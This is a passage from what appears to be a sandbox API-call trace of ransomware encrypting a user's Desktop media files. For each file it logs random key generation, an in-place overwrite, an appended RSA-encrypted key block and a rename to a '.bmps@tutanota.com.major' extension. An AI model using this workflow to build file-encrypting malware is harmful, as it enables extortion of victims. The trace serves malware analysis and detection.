CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\K- OG9wC.m4a", dwFileAttributes=0x80) returned 1 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0155.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0155.580] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\K- OG9wC.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\k- og9wc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.580] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83228) returned 1 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1451c) returned 0x2e61f30 [0155.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1451c) returned 0x2e76458 [0155.581] ReadFile (in: hFile=0x6ac, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x1451c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x1451c, lpOverlapped=0x0) returned 1 [0155.582] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-83228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.582] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e76458*, nNumberOfBytesToWrite=0x1451c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e76458*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1451c, lpOverlapped=0x0) returned 1 [0155.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e76458 | out: hHeap=0x570000) returned 1 [0155.583] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1451c [0155.583] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.583] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.583] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.583] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.584] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.584] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.584] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="76PmR0s0BsvNmRhEQ3RSKyzROco3O/1uZIdpoM0PO5TH2GOHAIT9WqsyYXzrbdxP\nCv8uradTHBm1HzAfatZNWHYEKfn/NKJcQyxqg2fGGVZJ9AUdjRm9afjwLpn/z2hU\nvSGW2T4juRggIrNCOQTrXFCvSpz+ppq4dT7iFsMDmxoY99Dt6Ho44d5TOUNq2L7I\nT5mnbate5w2KW/smUwcg4dT53Pf3H/yemP4prQK2BWMr88T8D0dzps/31UeSJTI/\nb1SEVdMuuaoiPdR1uqnX2s6HiSyqoJhYpl3m3Shiu1W4SIN+Jf9S9qaLz8PzJuyK\n8x7DJXkFJdv5Isl9ZMEjFg==\n", pcchString=0x2e3f9a8) returned 1 [0155.584] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.584] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.585] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.585] CloseHandle (hObject=0x6ac) returned 1 [0155.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.585] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\K- OG9wC.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\k- og9wc.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\K- OG9wC.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\k- og9wc.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0155.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0155.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.674] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\IFvqg2hgWuI5Wr2dp.m4a", dwFileAttributes=0x80) returned 1 [0155.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0155.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.675] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\IFvqg2hgWuI5Wr2dp.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ifvqg2hgwui5wr2dp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.675] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=98625) returned 1 [0155.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18141) returned 0x2e61f30 [0155.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18141) returned 0x2e7a080 [0155.675] ReadFile (in: hFile=0x6ac, lpBuffer=0x2e61f30, nNumberOfBytesToRead=0x18141, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x18141, lpOverlapped=0x0) returned 1 [0155.678] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-98625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.678] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e7a080*, nNumberOfBytesToWrite=0x18141, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e7a080*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18141, lpOverlapped=0x0) returned 1 [0155.679] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.679] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e7a080 | out: hHeap=0x570000) returned 1 [0155.679] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18141 [0155.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.679] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="S2mgBiivxa0yC68ruvNli4xlSe6C3IvUBPO4eVZy85CFrpiiQr8Zas/KZPGoa74y\nndMCxPXfc0DbrwRioRG0+WPUkkfsoY0Zlxvj9UgUw+kpY76okD3FLRsSxF0DPkYb\nc8+qFMK7pGqEKKePmXacf5Vr9wKVLwg/f5sw4Ol9M/TTy5oshq1rRLeqkXB7GOcZ\ncgCUQnb/fHzDzhHLZMrv6+OCHdmiWeUcy3BKZ2sbxhYK5Df8JrtREwf03Q/yr+0I\n9E40eNXCDjc0krVDiRl71jIxkw0sAkoHKzZNCeKNY0WuJg0ReMuUEeS2y13DLzJv\nzfa3/8b8nl4vVsltC97RaA==\n", pcchString=0x2e3f9a8) returned 1 [0155.680] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.680] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.680] CloseHandle (hObject=0x6ac) returned 1 [0155.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.680] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\IFvqg2hgWuI5Wr2dp.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ifvqg2hgwui5wr2dp.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\IFvqg2hgWuI5Wr2dp.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\ifvqg2hgwui5wr2dp.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0155.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0155.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.682] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.682] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\aIgn9mFBQPRyTXFS.png", dwFileAttributes=0x80) returned 1 [0155.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0155.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\aIgn9mFBQPRyTXFS.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\aign9mfbqprytxfs.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.682] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=50055) returned 1 [0155.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc387) returned 0x6538b0 [0155.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc387) returned 0x2e61f30 [0155.683] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xc387, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xc387, lpOverlapped=0x0) returned 1 [0155.684] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-50055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.684] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xc387, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc387, lpOverlapped=0x0) returned 1 [0155.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.685] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc387 [0155.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.685] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="J4lXAFlCpvybbzlBUA51N2H6A/46meqC7o8kR/dJqGVeLliiOGZlVRzvquGg3AOH\nDErHjMAiLAfy3o2oXkR+CtmqYBkNkt2rTnTBtt4cucSMbRwlr9Ep1/dobcdT3FRm\ngd843fSUnHQbAlGCX18jId5rKhWsY4+nm3bqhQinn22jV1mByV31u8s7pL5fAhqh\n1wn8mFBRPW+OSCKUX3Bc6X4z9GOTE8Ops+vo/a5U7PkkFfvEAZD8kHBv6YfJhTtL\n+mQB0A2d52Rebn4TV5WxJyaYC7zCzc8v05geADqMxzXwOvqn3hRIsIsZYAeVlhNX\nLmKFtow9LY/s6Lfgi6nuMA==\n", pcchString=0x2e3f9a8) returned 1 [0155.685] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.685] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.685] CloseHandle (hObject=0x6ac) returned 1 [0155.685] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.685] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\aIgn9mFBQPRyTXFS.png" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\aign9mfbqprytxfs.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\aIgn9mFBQPRyTXFS.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\aign9mfbqprytxfs.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0155.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0155.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0155.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.687] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\57DUQNI24EaxqR tZu.mp4", dwFileAttributes=0x80) returned 1 [0155.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0155.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0155.687] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0155.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\57DUQNI24EaxqR tZu.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\57duqni24eaxqr tzu.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.688] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=58674) returned 1 [0155.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe532) returned 0x6538b0 [0155.688] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe532) returned 0x2e61f30 [0155.688] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xe532, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xe532, lpOverlapped=0x0) returned 1 [0155.689] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-58674, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.689] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xe532, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe532, lpOverlapped=0x0) returned 1 [0155.689] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.689] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.689] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe532 [0155.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.689] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.690] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.690] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="OIN0NAStwbC/fZ6JgfSEOnSi62T+/dGX1w/WOljo3sk7+7UN15ruxTPMOCNOBU/D\nJrhQX6XX9Kkr/pLYTmca1CYiNwaeD4/kHc+5gx0IyBUysunV8KC+ww9v7DFdibFW\nm/4hUE6vCDmVZH2ISaEH4NeJaiiA4DQl/jWDrThKwsTkDdytcHHWqUAkExjiggxv\nLRgMpvQSgPMOxPnHZq50xxQOffDzxPdc85hOZJ3dTeyan7YEBJcSYOln/k3BdNkS\nZGGXfYlJzQa922WlOLuOdB9TXQHEPSiwLNjvGSvtmmkVqlfYMCUgtpqtHzQDkTPj\nVkCUMyqpydJV0OLTMKG9UQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.690] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.690] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.690] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.690] CloseHandle (hObject=0x6ac) returned 1 [0155.690] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.690] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\57DUQNI24EaxqR tZu.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\57duqni24eaxqr tzu.mp4"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\57DUQNI24EaxqR tZu.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\57duqni24eaxqr tzu.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0155.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0155.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0155.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.692] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2iVEgtc.flv", dwFileAttributes=0x80) returned 1 [0155.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e678 [0155.692] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2iVEgtc.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2ivegtc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.692] 